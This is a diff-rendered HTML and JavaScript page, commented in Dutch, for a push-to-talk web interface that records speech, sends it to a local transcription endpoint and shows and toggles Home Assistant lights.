<div id="loading" style="display:none; justify-content:center; margin:16px 0;">
|
||||||
|
<div class="spinner"></div>
|
||||||
|
<span style="margin-left:10px; color:var(--text-dim)">Verwerken...</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- lichten paneel -->
|
||||||
|
<div class="lights-panel">
|
||||||
|
<h2>💡 Lampen</h2>
|
||||||
|
<div id="lights-list">
|
||||||
|
<div style="color:var(--text-dim); font-size:0.9rem;">Laden...</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
// ── configuratie ──────────────────────────────────────
|
||||||
|
const API_BASE = window.location.origin;
|
||||||
|
|
||||||
|
// ── state ─────────────────────────────────────────────
|
||||||
|
let mediaRecorder = null;
|
||||||
|
let audioChunks = [];
|
||||||
|
let isRecording = false;
|
||||||
|
|
||||||
|
// ── DOM refs ──────────────────────────────────────────
|
||||||
|
const micBtn = document.getElementById('mic-btn');
|
||||||
|
const micLabel = document.getElementById('mic-label');
|
||||||
|
const micRipple = document.getElementById('mic-ripple');
|
||||||
|
const resultsEl = document.getElementById('results');
|
||||||
|
const lightsList = document.getElementById('lights-list');
|
||||||
|
const loadingEl = document.getElementById('loading');
|
||||||
|
const statusDot = document.getElementById('status-dot');
|
||||||
|
const statusText = document.getElementById('status-text');
|
||||||
|
|
||||||
|
// ── health check ──────────────────────────────────────
|
||||||
|
async function checkHealth() {
|
||||||
|
try {
|
||||||
|
const resp = await fetch(`${API_BASE}/api/health`);
|
||||||
|
const data = await resp.json();
|
||||||
|
statusDot.className = 'status-dot connected';
|
||||||
|
statusText.textContent = `Verbonden met HA (${data.ha_url})`;
|
||||||
|
} catch (e) {
|
||||||
|
statusDot.className = 'status-dot error';
|
||||||
|
statusText.textContent = 'Geen verbinding met server';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── lichten laden ─────────────────────────────────────
|
||||||
|
async function loadLights() {
|
||||||
|
try {
|
||||||
|
const resp = await fetch(`${API_BASE}/api/lights`);
|
||||||
|
const lights = await resp.json();
|
||||||
|
renderLights(lights);
|
||||||
|
} catch (e) {
|
||||||
|
lightsList.innerHTML = '<span style="color:var(--danger)">Fout bij laden lampen</span>';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function renderLights(lights) {
|
||||||
|
if (!lights || lights.length === 0) {
|
||||||
|
lightsList.innerHTML = '<span style="color:var(--text-dim)">Geen lampen gevonden</span>';
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
lightsList.innerHTML = lights.map(l => {
|
||||||
|
const isOn = l.state === 'on';
|
||||||
|
const name = l.friendly_name || l.entity_id;
|
||||||
|
const brightness = l.brightness != null ? `, ${Math.round(l.brightness / 2.55)}%` : '';
|
||||||
|
return `
|
||||||
|
<div class="light-item" data-entity="${l.entity_id}">
|
||||||
|
<span class="light-icon">${isOn ? '💡' : '🌑'}</span>
|
||||||
|
<div class="light-info">
|
||||||
|
<div class="light-name">${escapeHtml(name)}</div>
|
||||||
|
<div class="light-state">${isOn ? 'Aan' + brightness : 'Uit'}</div>
|
||||||
|
</div>
|
||||||
|
<button class="light-toggle ${isOn ? 'on' : ''}" data-entity="${l.entity_id}" data-action="${isOn ? 'turn_off' : 'turn_on'}"></button>
|
||||||
|
</div>
|
||||||
|
`;
|
||||||
|
}).join('');
|
||||||
|
|
||||||
|
// event listeners voor toggle knoppen
|
||||||
|
document.querySelectorAll('.light-toggle').forEach(btn => {
|
||||||
|
btn.addEventListener('click', async (e) => {
|
||||||
|
e.stopPropagation();
|
||||||
|
const entityId = btn.dataset.entity;
|
||||||
|
const action = btn.dataset.action;
|
||||||
|
await toggleLight(entityId, action);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// klik op hele rij togglet ook
|
||||||
|
document.querySelectorAll('.light-item').forEach(item => {
|
||||||
|
item.addEventListener('click', async () => {
|
||||||
|
const btn = item.querySelector('.light-toggle');
|
||||||
|
const entityId = btn.dataset.entity;
|
||||||
|
const action = btn.dataset.action;
|
||||||
|
await toggleLight(entityId, action);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function toggleLight(entityId, action) {
|
||||||
|
try {
|
||||||
|
const resp = await fetch(`${API_BASE}/api/light/control`, {
|
||||||
|
method: 'POST',
|
||||||
|
headers: { 'Content-Type': 'application/json' },
|
||||||
|
body: JSON.stringify({ entity_id: entityId, action })
|
||||||
|
});
|
||||||
|
if (resp.ok) {
|
||||||
|
addResult(action === 'turn_on' ? '💡' : '🌑', `Lamp ${action === 'turn_on' ? 'aangezet' : 'uitgezet'}`, '', 'success');
|
||||||
|
await loadLights();
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
addResult('⚠️', 'Fout bij schakelen lamp', '', 'error');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── resultaten tonen ──────────────────────────────────
|
||||||
|
function addResult(icon, transcript, response, type = '') {
|
||||||
|
const card = document.createElement('div');
|
||||||
|
card.className = `result-card ${type}`;
|
||||||
|
card.innerHTML = `
|
||||||
|
<span class="icon">${icon}</span>
|
||||||
|
<div class="content">
|
||||||
|
${transcript ? `<div class="text-transcript">"${escapeHtml(transcript)}"</div>` : ''}
|
||||||
|
${response ? `<div class="text-response">${escapeHtml(response)}</div>` : ''}
|
||||||
|
</div>
|
||||||
|
`;
|
||||||
|
resultsEl.prepend(card);
|
||||||
|
|
||||||
|
// max 10 resultaten bewaren
|
||||||
|
while (resultsEl.children.length > 10) {
|
||||||
|
resultsEl.lastChild.remove();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function escapeHtml(str) {
|
||||||
|
const div = document.createElement('div');
|
||||||
|
div.textContent = str;
|
||||||
|
return div.innerHTML;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── audio opname ──────────────────────────────────────
|
||||||
|
async function initMicrophone() {
|
||||||
|
try {
|
||||||
|
const stream = await navigator.mediaDevices.getUserMedia({
|
||||||
|
audio: {
|
||||||
|
echoCancellation: true,
|
||||||
|
noiseSuppression: true,
|
||||||
|
sampleRate: 16000,
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return stream;
|
||||||
|
} catch (e) {
|
||||||
|
console.error('Microfoon toegang geweigerd:', e);
|
||||||
|
micLabel.textContent = 'Microfoon niet beschikbaar';
|
||||||
|
micLabel.style.color = 'var(--danger)';
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function startRecording() {
|
||||||
|
const stream = await initMicrophone();
|
||||||
|
if (!stream) return;
|
||||||
|
|
||||||
|
// bepaal ondersteund MIME type
|
||||||
|
const mimeType = MediaRecorder.isTypeSupported('audio/webm;codecs=opus')
|
||||||
|
? 'audio/webm;codecs=opus'
|
||||||
|
: MediaRecorder.isTypeSupported('audio/webm')
|
||||||
|
? 'audio/webm'
|
||||||
|
: 'audio/wav';
|
||||||
|
|
||||||
|
try {
|
||||||
|
mediaRecorder = new MediaRecorder(stream, { mimeType });
|
||||||
|
} catch (e) {
|
||||||
|
mediaRecorder = new MediaRecorder(stream);
|
||||||
|
}
|
||||||
|
|
||||||
|
audioChunks = [];
|
||||||
|
|
||||||
|
mediaRecorder.ondataavailable = (e) => {
|
||||||
|
if (e.data.size > 0) audioChunks.push(e.data);
|
||||||
|
};
|
||||||
|
|
||||||
|
mediaRecorder.onstop = async () => {
|
||||||
|
// stop alle tracks
|
||||||
|
stream.getTracks().forEach(t => t.stop());
|
||||||
|
|
||||||
|
if (audioChunks.length === 0) return;
|
||||||
|
|
||||||
|
const audioBlob = new Blob(audioChunks, { type: mediaRecorder.mimeType || 'audio/webm' });
|
||||||
|
await sendAudio(audioBlob);
|
||||||
|
};
|
||||||
|
|
||||||
|
mediaRecorder.start();
|
||||||
|
isRecording = true;
|
||||||
|
updateMicUI();
|
||||||
|
}
|
||||||
|
|
||||||
|
function stopRecording() {
|
||||||
|
if (mediaRecorder && isRecording) {
|
||||||
|
mediaRecorder.stop();
|
||||||
|
isRecording = false;
|
||||||
|
updateMicUI();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateMicUI() {
|
||||||
|
if (isRecording) {
|
||||||
|
micBtn.classList.add('recording');
|
||||||
|
micLabel.classList.add('recording');
|
||||||
|
micLabel.textContent = 'Opnemen... laat los om te versturen';
|
||||||
|
micRipple.classList.add('active');
|
||||||
|
} else {
|
||||||
|
micBtn.classList.remove('recording');
|
||||||
|
micLabel.classList.remove('recording');
|
||||||
|
micLabel.textContent = 'Houd ingedrukt om te spreken';
|
||||||
|
micRipple.classList.remove('active');
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── audio versturen ───────────────────────────────────
|
||||||
|
async function sendAudio(audioBlob) {
|
||||||
|
loadingEl.style.display = 'flex';
|
||||||
|
|
||||||
|
const formData = new FormData();
|
||||||
|
formData.append('audio', audioBlob, 'recording.wav');
|
||||||
|
|
||||||
|
try {
|
||||||
|
const resp = await fetch(`${API_BASE}/api/transcribe`, {
|
||||||
|
method: 'POST',
|
||||||
|
body: formData,
|
||||||
|
});
|
||||||
|
const data = await resp.json();
|
||||||
|
|
||||||
|
if (data.error) {
|
||||||
|
addResult('⚠️', data.text || '', data.error, 'error');
|
||||||
|
} else if (!data.text) {
|
||||||
|
addResult('🔇', '', data.message || 'Geen spraak gedetecteerd', '');
|
||||||
|
} else {
|
||||||
|
// HA response parsen voor weergave
|
||||||
|
const speech = extractSpeech(data.ha_result);
|
||||||
|
addResult('🎤', data.text, speech, 'success');
|
||||||
|
// herlaad lichten na actie
|
||||||
|
await loadLights();
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
addResult('❌', '', `Fout: ${e.message}`, 'error');
|
||||||
|
} finally {
|
||||||
|
loadingEl.style.display = 'none';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function extractSpeech(haResult) {
|
||||||
|
if (!haResult) return '';
|
||||||
|
try {
|
||||||
|
const speech = haResult?.response?.speech?.plain?.speech;
|
||||||
|
if (speech) return speech;
|
||||||
|
// alternatieve paden
|
||||||
|
if (haResult?.response?.speech) return JSON.stringify(haResult.response.speech);
|
||||||
|
if (haResult?.speech) return haResult.speech;
|
||||||
|
return '';
|
||||||
|
} catch (e) {
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── event listeners ───────────────────────────────────
|
||||||
|
micBtn.addEventListener('pointerdown', (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
startRecording();
|
||||||
|
});
|
||||||
|
|
||||||
|
micBtn.addEventListener('pointerup', (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
stopRecording();
|
||||||
|
});
|
||||||
|
|
||||||
|
micBtn.addEventListener('pointerleave', (e) => {
|
||||||
|
if (isRecording) stopRecording();
|
||||||
|
});
|
||||||
|
|
||||||
|
// touch events voor mobiel
|
||||||
|
micBtn.addEventListener('touchstart', (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
startRecording();
|
||||||
|
});
|
||||||
|
|
||||||
|
micBtn.addEventListener('touchend', (e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
stopRecording();
|
||||||
|
});
|
||||||
|
|
||||||
|
// keyboard support
|
||||||
|
micBtn.addEventListener('keydown', (e) => {
|
||||||
|
if (e.key === ' ' || e.key === 'Enter') {
|
||||||
|
e.preventDefault();
|
||||||
|
startRecording();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
micBtn.addEventListener('keyup', (e) => {
|
||||||
|
if (e.key === ' ' || e.key === 'Enter') {
|
||||||
|
e.preventDefault();
|
||||||
|
stopRecording();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// ── init ──────────────────────────────────────────────
|
||||||
|
checkHealth();
|
||||||
|
loadLights();
|
||||||
|
// periodiek verversen
|
||||||
|
setInterval(loadLights, 30000);
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
Reference in New Issue
Block a user